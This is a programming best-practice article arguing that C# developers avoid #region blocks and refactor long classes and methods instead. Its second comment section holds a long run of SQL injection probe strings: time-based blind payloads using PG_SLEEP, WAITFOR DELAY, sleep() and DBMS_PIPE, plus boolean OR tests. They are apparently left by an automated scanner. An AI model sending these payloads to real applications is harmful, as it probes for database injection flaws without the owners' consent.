BP158: Avoid #region in your code wherever possible

Regions can contribute creating and hiding code smells, decrease readability and maintainability.

Violated Single Responsibility Principle

Some people say that regions make the code nicely structured.

We don't think so. We have seen too many times that people started to use regions when the class was too long, unreadable, without clearly defined purpose.

The class was usually breaking the Single Responsibility Principle in the first place. It contained too many lines that should have been extracted to a different class.

So when you think you need to use regions, think if you can simplify the class instead. Break it down to multiple pieces. Extract some logic to the other files.

99% cases it is what you should do instead of using #region.

One more click

The feeling when you click every file and then you need to do many more clicks to expand private fields, public properties, constructors.

Why would one want to do that?The less clicks you do, the faster you are.

Do not make the access to your code more difficult for the other readers. Be proud of your code, show it.

Regions hide code and introduce unwanted surprises

There are developers who write messy code and then hide it to the collapsed region. Everything looks nice and sweet. And then you expand the region and bang. You wanna cry.

Keep the code readable. Be transparent. Don't hide code to regions. 

If the code is visible, there is higher chance that someone will refactor it.

If the code is hidden, there is a chance that someone will miss it and bugs will be introduced to the system.

The deadlines might also be affected because developers could be thinking that the code has 150 lines and estimate the effort with the assumption of low complexity just to later realize that there are 2 regions containing additional 1500 lines.

No regions inside a method

Don't use regions inside a method. Instead, extract the block to a separate method. Methods should be short and readable and it should do one thing.

If you need regions inside a method, it is an evidence that your method does more than one thing.

Don't group by member type, accessibility or visibility

You shouldn't use regions to group by fields, properties, constructors, public or private methods.

Your team should have coding standards defined and everyone on the team should know what is the preferred order of class members. If that is not the case, define coding standards with your team and communicate it frequently. But don't take this as a reason for using regions.

Don't hide argument validation to a region

If you have many validations at the beginning of the method, extract the validation logic to a separate method or leave the validation and extract the rest of the method to a separate method.

Legacy code

You should avoid #region wherever possible but in some cases you mind find yourself in a situation where adding a #region might be helpful. Always think about it - this is an emergency solution. Patch. Hack. Could you refactor? Could you extract the block? Do it.

Are you really in a state of emergency and do you really need the #region and there is no other good way around? Then use it. (You will pay for it later.)

Too long LINQ and SQL queries

If you see LINQ queries that are having tens of lines, extract them to extension methods or to standalone methods. The same applies to too long SQL queries (raw SQL statements) if you can't use stored procedures.

"But I need regions..."

If you need regions, it means your code is very likely bad. It's not that you need regions. You need refactor.

StyleCop rule SA1124

StyleCop SA1124 rule is clear: you should not use regions. Never.

What we heard and what we answered

Regions are inevitable.
No, they are not. If you think so, tell us about the scenario were you think they are inevitable and let's discuss this.

Regions help me to hide things I don't care about or I don't need to see every time.
Don't hide code. The fact you don't care about it doesn't mean the others don't care as well.
If you think the code is not important, move it closer to the end of the file. If it's a block within a method, extract it to a separate method. But don't hide it.

Regions are great when there is a time pressure and you want to organize the code quickly.
That's true but there is a risk that once you introduce a region, it will stay in the code forever.

If you found time to introduce a region, you would find time to extract the method as well. Or add a comment.

The excuse that there is no time to fix things right is usually a lack of experience with simple refactoring techniques.

You can be either idealistic or practical.
Regions have nothing to do with being practical. You either want clean and maintainable code or you don't. We aim for clean code. But if your business wants to increase technical debt and lose motivated developers and best talents, we can't stop you from doing i.
 

How about you?

Do you like regions? Tell us why.
Do you want to kill yourself when you see a #region? Comment on what are the reasons.

Comments

LaceJaguar65
e
LaceJaguar65
e

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e